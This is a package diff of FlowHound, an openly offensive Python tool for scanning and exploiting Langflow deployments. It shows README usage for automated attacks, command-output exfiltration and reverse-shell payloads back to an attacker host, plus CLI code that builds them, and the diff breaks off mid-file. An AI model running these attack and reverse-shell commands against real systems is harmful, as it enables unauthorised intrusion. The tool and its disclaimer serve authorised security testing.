flowhound 1.0.1__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (49) hide show
  1. flowhound-1.0.1/LICENSE +21 -0
  2. flowhound-1.0.1/MANIFEST.in +2 -0
  3. flowhound-1.0.1/PKG-INFO +193 -0
  4. flowhound-1.0.1/README.md +157 -0
  5. flowhound-1.0.1/flowhound/__init__.py +0 -0
  6. flowhound-1.0.1/flowhound/__main__.py +28 -0
  7. flowhound-1.0.1/flowhound/cli/__init__.py +0 -0
  8. flowhound-1.0.1/flowhound/cli/banner.py +45 -0
  9. flowhound-1.0.1/flowhound/cli/command.py +216 -0
  10. flowhound-1.0.1/flowhound/cli/message_format.py +52 -0
  11. flowhound-1.0.1/flowhound/cli/validators.py +39 -0
  12. flowhound-1.0.1/flowhound/tests/__init__.py +0 -0
  13. flowhound-1.0.1/flowhound/tests/test_base_exploit_class.py +124 -0
  14. flowhound-1.0.1/flowhound/tests/test_command.py +262 -0
  15. flowhound-1.0.1/flowhound/tests/test_cve.py +127 -0
  16. flowhound-1.0.1/flowhound/tests/test_database.py +84 -0
  17. flowhound-1.0.1/flowhound/tests/test_message_format.py +149 -0
  18. flowhound-1.0.1/flowhound/tests/test_payloads.py +89 -0
  19. flowhound-1.0.1/flowhound/tests/test_validators.py +106 -0
  20. flowhound-1.0.1/flowhound/tests/test_version_detection.py +125 -0
  21. flowhound-1.0.1/flowhound/vulnerabilities/__init__.py +0 -0
  22. flowhound-1.0.1/flowhound/vulnerabilities/cve/__init__.py +0 -0
  23. flowhound-1.0.1/flowhound/vulnerabilities/cve/cve.py +78 -0
  24. flowhound-1.0.1/flowhound/vulnerabilities/exploits/__init__.py +0 -0
  25. flowhound-1.0.1/flowhound/vulnerabilities/exploits/base_exploit_class.py +135 -0
  26. flowhound-1.0.1/flowhound/vulnerabilities/exploits/cve_2026_0768.py +102 -0
  27. flowhound-1.0.1/flowhound/vulnerabilities/exploits/cve_2026_10134.py +387 -0
  28. flowhound-1.0.1/flowhound/vulnerabilities/exploits/cve_2026_18729.py +118 -0
  29. flowhound-1.0.1/flowhound/vulnerabilities/exploits/cve_2026_19286.py +260 -0
  30. flowhound-1.0.1/flowhound/vulnerabilities/exploits/cve_2026_19295.py +292 -0
  31. flowhound-1.0.1/flowhound/vulnerabilities/exploits/cve_2026_5027.py +126 -0
  32. flowhound-1.0.1/flowhound/vulnerabilities/exploits/cve_2026_7873.py +77 -0
  33. flowhound-1.0.1/flowhound/vulnerabilities/exploits/cve_2026_9198.py +77 -0
  34. flowhound-1.0.1/flowhound/vulnerabilities/io/__init__.py +0 -0
  35. flowhound-1.0.1/flowhound/vulnerabilities/io/database.py +109 -0
  36. flowhound-1.0.1/flowhound/vulnerabilities/io/version_detection.py +87 -0
  37. flowhound-1.0.1/flowhound/vulnerabilities/payloads/__init__.py +14 -0
  38. flowhound-1.0.1/flowhound/vulnerabilities/payloads/base_payload_class.py +23 -0
  39. flowhound-1.0.1/flowhound/vulnerabilities/payloads/execute_bash_command.py +16 -0
  40. flowhound-1.0.1/flowhound/vulnerabilities/payloads/reverse_tcp_shell.py +21 -0
  41. flowhound-1.0.1/flowhound.egg-info/PKG-INFO +193 -0
  42. flowhound-1.0.1/flowhound.egg-info/SOURCES.txt +47 -0
  43. flowhound-1.0.1/flowhound.egg-info/dependency_links.txt +1 -0
  44. flowhound-1.0.1/flowhound.egg-info/entry_points.txt +2 -0
  45. flowhound-1.0.1/flowhound.egg-info/requires.txt +14 -0
  46. flowhound-1.0.1/flowhound.egg-info/top_level.txt +4 -0
  47. flowhound-1.0.1/pyproject.toml +58 -0
  48. flowhound-1.0.1/scripts/validate_architecture.py +86 -0
  49. flowhound-1.0.1/setup.cfg +4 -0
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 Richard Howe
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1,2 @@
1
+ include flowhound/config.env
2
+ recursive-include flowhound/vulnerabilities/io *.db
@@ -0,0 +1,193 @@
1
+ Metadata-Version: 2.4
2
+ Name: flowhound
3
+ Version: 1.0.1
4
+ Summary: Automated Langflow Exploitation Platform
5
+ Author-email: Richard Howe <richard.howe@ibm.com>
6
+ License: MIT
7
+ Project-URL: Homepage, https://github.com/rmhowe425/FlowHound
8
+ Keywords: security,network
9
+ Classifier: Development Status :: 4 - Beta
10
+ Classifier: Intended Audience :: Developers
11
+ Classifier: Natural Language :: English
12
+ Classifier: Operating System :: OS Independent
13
+ Classifier: Programming Language :: Python
14
+ Classifier: Programming Language :: Python :: 3
15
+ Classifier: Programming Language :: Python :: 3.10
16
+ Classifier: Programming Language :: Python :: 3.11
17
+ Classifier: Programming Language :: Python :: 3.12
18
+ Classifier: Programming Language :: Python :: 3.13
19
+ Classifier: Topic :: Software Development :: Libraries :: Python Modules
20
+ Requires-Python: >=3.10
21
+ Description-Content-Type: text/markdown
22
+ License-File: LICENSE
23
+ Requires-Dist: requests==2.32.3
24
+ Requires-Dist: click==8.1.8
25
+ Provides-Extra: dev
26
+ Requires-Dist: pytest; extra == "dev"
27
+ Requires-Dist: pre-commit; extra == "dev"
28
+ Requires-Dist: ruff; extra == "dev"
29
+ Requires-Dist: vulture; extra == "dev"
30
+ Requires-Dist: codespell; extra == "dev"
31
+ Requires-Dist: pyright; extra == "dev"
32
+ Provides-Extra: docs
33
+ Requires-Dist: mkdocs>=1.6.1; extra == "docs"
34
+ Requires-Dist: mkdocs-material>=9.6.14; extra == "docs"
35
+ Dynamic: license-file
36
+
37
+ # FlowHound
38
+
39
+ ![FlowHound Logo](flowhound/images/logo.png)
40
+
41
+ Automated exploitation platform for scanning and testing insecure [Langflow](https://github.com/langflow-ai/langflow) deployments.
42
+
43
+ ## Documentation
44
+
45
+ Full documentation is available at **[flowhound.readthedocs.io](https://flowhound.readthedocs.io/)**.
46
+
47
+ ## Installation
48
+
49
+ ```bash
50
+ pip install .
51
+ ```
52
+
53
+ ## Usage
54
+
55
+ FlowHound exposes two sub-commands: `attack` and `sniff`.
56
+
57
+ ### `attack` — launch exploits against a target
58
+
59
+ ```
60
+ flowhound attack --url <target-url> [OPTIONS]
61
+ ```
62
+
63
+ | Option | Required | Description |
64
+ |---|---|---|
65
+ | `--url` | Yes | URL of the target Langflow instance (e.g. `http://localhost:7860`) |
66
+ | `--username` | No | Langflow username — must be paired with `--password` |
67
+ | `--password` | No | Langflow password — must be paired with `--username` |
68
+ | `--autopwn` | No | Run all matching exploits instead of stopping at the first success |
69
+ | `--proxy` | No | HTTP(s) proxy to route traffic through (e.g. `http://127.0.0.1:8080`) |
70
+ | `--command` | No | Shell command to execute on the target via the `execute_bash_command` payload |
71
+ | `--reverse_shell` | No | `LHOST:LPORT` for a reverse TCP shell payload (e.g. `192.168.1.10:4444`) |
72
+ | `-h`, `--help` | No | Show help message |
73
+
74
+ > `--command` and `--reverse_shell` are mutually exclusive. `--username` and `--password` must always be supplied together.
75
+
76
+ ### `sniff` — detect version and list applicable CVEs
77
+
78
+ ```
79
+ flowhound sniff --url <target-url> [--proxy <proxy-url>]
80
+ ```
81
+
82
+ | Option | Required | Description |
83
+ |---|---|---|
84
+ | `--url` | Yes | URL of the target Langflow instance |
85
+ | `--proxy` | No | HTTP(s) proxy to route traffic through |
86
+ | `-h`, `--help` | No | Show help message |
87
+
88
+ ### Examples
89
+
90
+ Unauthenticated attack (stops at first successful exploit):
91
+ ```bash
92
+ flowhound attack --url http://target.example.com:7860
93
+ ```
94
+
95
+ Authenticated attack (includes auth-required CVEs):
96
+ ```bash
97
+ flowhound attack --url http://target.example.com:7860 --username admin --password secret
98
+ ```
99
+
100
+ Run all matching exploits with a custom command payload:
101
+ ```bash
102
+ flowhound attack --url http://target.example.com:7860 --autopwn --command "whoami"
103
+ ```
104
+
105
+ Catch a reverse shell:
106
+ ```bash
107
+ flowhound attack --url http://target.example.com:7860 --reverse_shell 192.168.1.10:4444
108
+ ```
109
+
110
+ Route all traffic through a proxy:
111
+ ```bash
112
+ flowhound attack --url http://target.example.com:7860 --proxy http://127.0.0.1:8080
113
+ ```
114
+
115
+ Detect the target Langflow version and list applicable CVEs without launching any exploits:
116
+ ```bash
117
+ flowhound sniff --url http://target.example.com:7860
118
+ ```
119
+
120
+ ## Architecture
121
+
122
+ ![Software Architecture Diagram](flowhound/images/architecture.png)
123
+
124
+ ## How it works
125
+
126
+ 1. **Version detection** — queries `/api/v1/version` on the target to determine the running Langflow version.
127
+ 2. **CVE lookup** — queries the bundled `vulnerabilities.json` database for CVE records whose affected version range covers the detected version. Authentication-required exploits are only included when credentials are supplied.
128
+ 3. **Exploit dispatch** — dynamically loads each matching exploit module and executes it. Unauthenticated RCE exploits are prioritised. Each exploit is run with a 60-second timeout; timed-out exploits are skipped automatically.
129
+ 4. **Payload injection** — when `--command` or `--reverse_shell` is specified the corresponding payload is injected into each exploit rather than the built-in default.
130
+
131
+ ## CVE coverage
132
+
133
+ | CVE ID | CVSS | Auth Required | Affected Versions |
134
+ |---|---|---|---|
135
+ | CVE-2026-9198 | 10.0 | No | 1.0.0 – 1.10.0 |
136
+ | CVE-2026-0768 | 9.8 | No | 1.4.2 |
137
+ | CVE-2026-19295 | 9.9 | Yes | 1.0.0 – 1.11.1 |
138
+ | CVE-2026-19286 | 9.8 | Yes | 1.11.0 – 1.11.1 |
139
+ | CVE-2026-18729 | 8.8 | Yes | 1.0.0 – 1.11.1 |
140
+ | CVE-2026-5027 | 8.8 | Yes | 1.0.0 – 1.8.4 |
141
+ | CVE-2026-7873 | 8.8 | Yes | 1.0.0 – 1.10.0 |
142
+ | CVE-2026-10134 | 8.8 | Yes | 1.0.0 – 1.9.3 |
143
+
144
+ ## Payloads
145
+
146
+ | Payload | CLI flag | Description |
147
+ |---|---|---|
148
+ | `execute_bash_command` | `--command "<cmd>"` | Runs an arbitrary shell command and exfiltrates stdout |
149
+ | `reverse_tcp_shell` | `--reverse_shell LHOST:LPORT` | Opens a reverse TCP shell back to the attacker (blocking) |
150
+
151
+ When no payload flag is given each exploit falls back to its built-in default (runs `id` and exfiltrates the result).
152
+
153
+ ## Project structure
154
+
155
+ ```
156
+ flowhound/
157
+ ├── __main__.py # CLI entry point; registers attack and sniff commands
158
+ ├── cli/
159
+ │ ├── command.py # attack and sniff Click command definitions
160
+ │ ├── validators.py # URL, proxy, and CVE input validators
161
+ │ ├── banner.py # ASCII-art banner
162
+ │ └── message_format.py # Coloured logging handler (ClickLogHandler)
163
+ └── vulnerabilities/
164
+ ├── cve/cve.py # CVE data model; dynamically loads exploit modules
165
+ ├── io/
166
+ │ ├── database.py # Reads vulnerabilities.json; filters by version & auth
167
+ │ ├── version_detection.py # Queries /api/v1/version; version string ↔ tuple helpers
168
+ │ └── vulnerabilities.json # Bundled CVE data store
169
+ ├── exploits/
170
+ │ ├── base_exploit_class.py # Abstract base; auto_login / authenticate helpers
171
+ │ └── cve_2026_*.py # Individual exploit PoC modules
172
+ └── payloads/
173
+ ├── base_payload_class.py # Abstract base; generate_payload / load_payload interface
174
+ ├── execute_bash_command.py
175
+ └── reverse_tcp_shell.py
176
+ ```
177
+
178
+ ## Requirements
179
+
180
+ - Python 3.10+
181
+ - `requests >= 2.32.3`
182
+ - `click >= 8.1.8`
183
+
184
+ ## Running tests
185
+
186
+ ```bash
187
+ pip install pytest
188
+ pytest flowhound/tests/
189
+ ```
190
+
191
+ ## Disclaimer
192
+
193
+ FlowHound is intended for authorised security testing only. Do not run it against systems you do not own or have explicit written permission to test.
@@ -0,0 +1,157 @@
1
+ # FlowHound
2
+
3
+ ![FlowHound Logo](flowhound/images/logo.png)
4
+
5
+ Automated exploitation platform for scanning and testing insecure [Langflow](https://github.com/langflow-ai/langflow) deployments.
6
+
7
+ ## Documentation
8
+
9
+ Full documentation is available at **[flowhound.readthedocs.io](https://flowhound.readthedocs.io/)**.
10
+
11
+ ## Installation
12
+
13
+ ```bash
14
+ pip install .
15
+ ```
16
+
17
+ ## Usage
18
+
19
+ FlowHound exposes two sub-commands: `attack` and `sniff`.
20
+
21
+ ### `attack` — launch exploits against a target
22
+
23
+ ```
24
+ flowhound attack --url <target-url> [OPTIONS]
25
+ ```
26
+
27
+ | Option | Required | Description |
28
+ |---|---|---|
29
+ | `--url` | Yes | URL of the target Langflow instance (e.g. `http://localhost:7860`) |
30
+ | `--username` | No | Langflow username — must be paired with `--password` |
31
+ | `--password` | No | Langflow password — must be paired with `--username` |
32
+ | `--autopwn` | No | Run all matching exploits instead of stopping at the first success |
33
+ | `--proxy` | No | HTTP(s) proxy to route traffic through (e.g. `http://127.0.0.1:8080`) |
34
+ | `--command` | No | Shell command to execute on the target via the `execute_bash_command` payload |
35
+ | `--reverse_shell` | No | `LHOST:LPORT` for a reverse TCP shell payload (e.g. `192.168.1.10:4444`) |
36
+ | `-h`, `--help` | No | Show help message |
37
+
38
+ > `--command` and `--reverse_shell` are mutually exclusive. `--username` and `--password` must always be supplied together.
39
+
40
+ ### `sniff` — detect version and list applicable CVEs
41
+
42
+ ```
43
+ flowhound sniff --url <target-url> [--proxy <proxy-url>]
44
+ ```
45
+
46
+ | Option | Required | Description |
47
+ |---|---|---|
48
+ | `--url` | Yes | URL of the target Langflow instance |
49
+ | `--proxy` | No | HTTP(s) proxy to route traffic through |
50
+ | `-h`, `--help` | No | Show help message |
51
+
52
+ ### Examples
53
+
54
+ Unauthenticated attack (stops at first successful exploit):
55
+ ```bash
56
+ flowhound attack --url http://target.example.com:7860
57
+ ```
58
+
59
+ Authenticated attack (includes auth-required CVEs):
60
+ ```bash
61
+ flowhound attack --url http://target.example.com:7860 --username admin --password secret
62
+ ```
63
+
64
+ Run all matching exploits with a custom command payload:
65
+ ```bash
66
+ flowhound attack --url http://target.example.com:7860 --autopwn --command "whoami"
67
+ ```
68
+
69
+ Catch a reverse shell:
70
+ ```bash
71
+ flowhound attack --url http://target.example.com:7860 --reverse_shell 192.168.1.10:4444
72
+ ```
73
+
74
+ Route all traffic through a proxy:
75
+ ```bash
76
+ flowhound attack --url http://target.example.com:7860 --proxy http://127.0.0.1:8080
77
+ ```
78
+
79
+ Detect the target Langflow version and list applicable CVEs without launching any exploits:
80
+ ```bash
81
+ flowhound sniff --url http://target.example.com:7860
82
+ ```
83
+
84
+ ## Architecture
85
+
86
+ ![Software Architecture Diagram](flowhound/images/architecture.png)
87
+
88
+ ## How it works
89
+
90
+ 1. **Version detection** — queries `/api/v1/version` on the target to determine the running Langflow version.
91
+ 2. **CVE lookup** — queries the bundled `vulnerabilities.json` database for CVE records whose affected version range covers the detected version. Authentication-required exploits are only included when credentials are supplied.
92
+ 3. **Exploit dispatch** — dynamically loads each matching exploit module and executes it. Unauthenticated RCE exploits are prioritised. Each exploit is run with a 60-second timeout; timed-out exploits are skipped automatically.
93
+ 4. **Payload injection** — when `--command` or `--reverse_shell` is specified the corresponding payload is injected into each exploit rather than the built-in default.
94
+
95
+ ## CVE coverage
96
+
97
+ | CVE ID | CVSS | Auth Required | Affected Versions |
98
+ |---|---|---|---|
99
+ | CVE-2026-9198 | 10.0 | No | 1.0.0 – 1.10.0 |
100
+ | CVE-2026-0768 | 9.8 | No | 1.4.2 |
101
+ | CVE-2026-19295 | 9.9 | Yes | 1.0.0 – 1.11.1 |
102
+ | CVE-2026-19286 | 9.8 | Yes | 1.11.0 – 1.11.1 |
103
+ | CVE-2026-18729 | 8.8 | Yes | 1.0.0 – 1.11.1 |
104
+ | CVE-2026-5027 | 8.8 | Yes | 1.0.0 – 1.8.4 |
105
+ | CVE-2026-7873 | 8.8 | Yes | 1.0.0 – 1.10.0 |
106
+ | CVE-2026-10134 | 8.8 | Yes | 1.0.0 – 1.9.3 |
107
+
108
+ ## Payloads
109
+
110
+ | Payload | CLI flag | Description |
111
+ |---|---|---|
112
+ | `execute_bash_command` | `--command "<cmd>"` | Runs an arbitrary shell command and exfiltrates stdout |
113
+ | `reverse_tcp_shell` | `--reverse_shell LHOST:LPORT` | Opens a reverse TCP shell back to the attacker (blocking) |
114
+
115
+ When no payload flag is given each exploit falls back to its built-in default (runs `id` and exfiltrates the result).
116
+
117
+ ## Project structure
118
+
119
+ ```
120
+ flowhound/
121
+ ├── __main__.py # CLI entry point; registers attack and sniff commands
122
+ ├── cli/
123
+ │ ├── command.py # attack and sniff Click command definitions
124
+ │ ├── validators.py # URL, proxy, and CVE input validators
125
+ │ ├── banner.py # ASCII-art banner
126
+ │ └── message_format.py # Coloured logging handler (ClickLogHandler)
127
+ └── vulnerabilities/
128
+ ├── cve/cve.py # CVE data model; dynamically loads exploit modules
129
+ ├── io/
130
+ │ ├── database.py # Reads vulnerabilities.json; filters by version & auth
131
+ │ ├── version_detection.py # Queries /api/v1/version; version string ↔ tuple helpers
132
+ │ └── vulnerabilities.json # Bundled CVE data store
133
+ ├── exploits/
134
+ │ ├── base_exploit_class.py # Abstract base; auto_login / authenticate helpers
135
+ │ └── cve_2026_*.py # Individual exploit PoC modules
136
+ └── payloads/
137
+ ├── base_payload_class.py # Abstract base; generate_payload / load_payload interface
138
+ ├── execute_bash_command.py
139
+ └── reverse_tcp_shell.py
140
+ ```
141
+
142
+ ## Requirements
143
+
144
+ - Python 3.10+
145
+ - `requests >= 2.32.3`
146
+ - `click >= 8.1.8`
147
+
148
+ ## Running tests
149
+
150
+ ```bash
151
+ pip install pytest
152
+ pytest flowhound/tests/
153
+ ```
154
+
155
+ ## Disclaimer
156
+
157
+ FlowHound is intended for authorised security testing only. Do not run it against systems you do not own or have explicit written permission to test.
File without changes
@@ -0,0 +1,28 @@
1
+ import logging
2
+
3
+ import click
4
+
5
+ from flowhound.cli.command import attack, sniff
6
+ from flowhound.cli.message_format import ClickLogHandler
7
+ from flowhound.vulnerabilities.io.database import Database
8
+
9
+ _logger = logging.getLogger("flowhound")
10
+ _logger.setLevel(logging.INFO)
11
+ if not _logger.handlers:
12
+ _logger.addHandler(ClickLogHandler())
13
+
14
+ CONTEXT_SETTINGS = {"help_option_names": ["-h", "--help"]}
15
+
16
+
17
+ @click.group(context_settings=CONTEXT_SETTINGS)
18
+ @click.pass_context
19
+ def main(ctx: click.Context):
20
+ ctx.ensure_object(dict)
21
+ ctx.obj = Database()
22
+
23
+
24
+ main.add_command(attack)
25
+ main.add_command(sniff)
26
+
27
+ if __name__ == "__main__":
28
+ main()
File without changes
@@ -0,0 +1,45 @@
1
+ from flowhound.cli.message_format import output_banner
2
+
3
+
4
+ def banner():
5
+ output_banner("""
6
+ ███████╗██╗ ██████╗ ██╗ ██╗ ██╗ ██╗ ██████╗ ██╗ ██╗███╗ ██╗██████╗
7
+ ██╔════╝██║ ██╔═══██╗██║ ██║ ██║ ██║██╔═══██╗██║ ██║████╗ ██║██╔══██╗
8
+ █████╗ ██║ ██║ ██║██║ █╗ ██║ ███████║██║ ██║██║ ██║██╔██╗ ██║██║ ██║
9
+ ██╔══╝ ██║ ██║ ██║██║███╗██║ ██╔══██║██║ ██║██║ ██║██║╚██╗██║██║ ██║
10
+ ██║ ███████╗╚██████╔╝╚███╔███╔╝ ██║ ██║╚██████╔╝╚██████╔╝██║ ╚████║██████╔╝
11
+ ╚═╝ ╚══════╝ ╚═════╝ ╚══╝╚══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚═════╝
12
+
13
+ Sniffing Insecure Langflow Deployments
14
+
15
+
16
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣶⣾⣿⣿⣶⣦⡀
17
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄
18
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷
19
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
20
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏
21
+ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
22
+ ⠀⠀⠀⠀⠀⠀⠀⣀⣠⣤⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠏
23
+ ⠀⠀⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣏⠉
24
+ ⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡄
25
+ ⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷
26
+ ⠀⠀⠀⠀⠀⠀⠻⣿⣿⣿⣿⣿⢟⣥⣶⣶⣶⣄⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇
27
+ ⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⣏⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿
28
+ ⠀⠀⠀⠀⠀⠀⠀⠀⢘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇
29
+ ⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇
30
+ ⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇
31
+ ⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⠛⠛⠛⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁
32
+ ⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⠁
33
+ ⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⠟⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠟⠉
34
+ ⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠙⠛⠛⠛⣿⣿⣿⠋
35
+ ⠀⠀⠀⠀⠀⣰⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿
36
+ ⠀⢀⣠⣤⣴⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣿⣿⣇
37
+ ⣴⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⣿⣷⡄
38
+ ⣿⣿⣿⣿⣿⣿⣿⣿⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿
39
+ ⢻⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⣿⣿⣿⣿⣿⠃
40
+ ⠀⠙⢿⣿⣿⠿⠛⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⣿⣿⡛⠁
41
+ ⠀⠀⠈⢿⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⠿⠿⠆
42
+
43
+
44
+ Every Flow Leaves Tracks.
45
+ """)
@@ -0,0 +1,216 @@
1
+ import logging
2
+ from concurrent.futures import ThreadPoolExecutor
3
+ from concurrent.futures import TimeoutError as FutureTimeoutError
4
+
5
+ import click
6
+
7
+ from flowhound.cli.banner import banner
8
+ from flowhound.cli.validators import validate_proxy, validate_url
9
+ from flowhound.vulnerabilities.io.database import Database
10
+ from flowhound.vulnerabilities.io.version_detection import get_target_version
11
+ from flowhound.vulnerabilities.payloads import PAYLOAD_MAP
12
+
13
+ EXPLOIT_TIMEOUT = 60 # seconds before a single exploit attempt is abandoned
14
+ logger = logging.getLogger(__name__)
15
+
16
+
17
+ def _get_payload(cmd: str | None, reverse_shell: str | None):
18
+ payload = None
19
+
20
+ if cmd:
21
+ payload = PAYLOAD_MAP["command"](cmd=cmd)
22
+ logger.info(f"Using execute_bash_command payload: {cmd!r}")
23
+ elif reverse_shell:
24
+ try:
25
+ lhost, lport_str = reverse_shell.rsplit(":", 1)
26
+ lport = int(lport_str)
27
+ except ValueError:
28
+ raise click.BadParameter(
29
+ "--reverse_shell must be formatted as LHOST:LPORT (e.g. 192.168.1.10:4444)."
30
+ )
31
+
32
+ if not (1 <= lport <= 65535):
33
+ raise click.BadParameter("Port must be between 1 and 65535.")
34
+ payload = PAYLOAD_MAP["reverse_shell"](lhost=lhost, lport=lport)
35
+ logger.info(f"Using reverse_tcp_shell payload: {lhost}:{lport}")
36
+
37
+ return payload
38
+
39
+
40
+ def _execute_exploit(
41
+ exploit_module,
42
+ base_url: str,
43
+ username: str,
44
+ password: str,
45
+ proxies: dict[str, str] | None,
46
+ payload,
47
+ timeout: int = EXPLOIT_TIMEOUT,
48
+ ) -> bool:
49
+ """
50
+ Executes an exploit module with a cross-platform timeout.
51
+ """
52
+ with ThreadPoolExecutor(max_workers=1) as executor:
53
+ future = executor.submit(
54
+ exploit_module.exploit,
55
+ base_url=base_url,
56
+ username=username,
57
+ password=password,
58
+ proxies=proxies,
59
+ payload=payload,
60
+ )
61
+ return future.result(timeout=timeout)
62
+
63
+
64
+ @click.command(help="Launch one or more exploits against a Langflow instance.")
65
+ @click.option(
66
+ "--url",
67
+ required=True,
68
+ help="URL of target Langflow instance",
69
+ callback=validate_url,
70
+ )
71
+ @click.option(
72
+ "--username", required=False, default="", help="Target Langflow instance username"
73
+ )
74
+ @click.option(
75
+ "--password", required=False, default="", help="Target Langflow instance password"
76
+ )
77
+ @click.option(
78
+ "--autopwn",
79
+ required=False,
80
+ is_flag=True,
81
+ default=False,
82
+ help="Launch all available exploits, instead of stopping at first successful attempt.",
83
+ )
84
+ @click.option(
85
+ "--proxy",
86
+ required=False,
87
+ default=None,
88
+ help="HTTP(s) proxy to use for network I/O operations",
89
+ callback=validate_proxy,
90
+ )
91
+ @click.option(
92
+ "--command",
93
+ "cmd",
94
+ required=False,
95
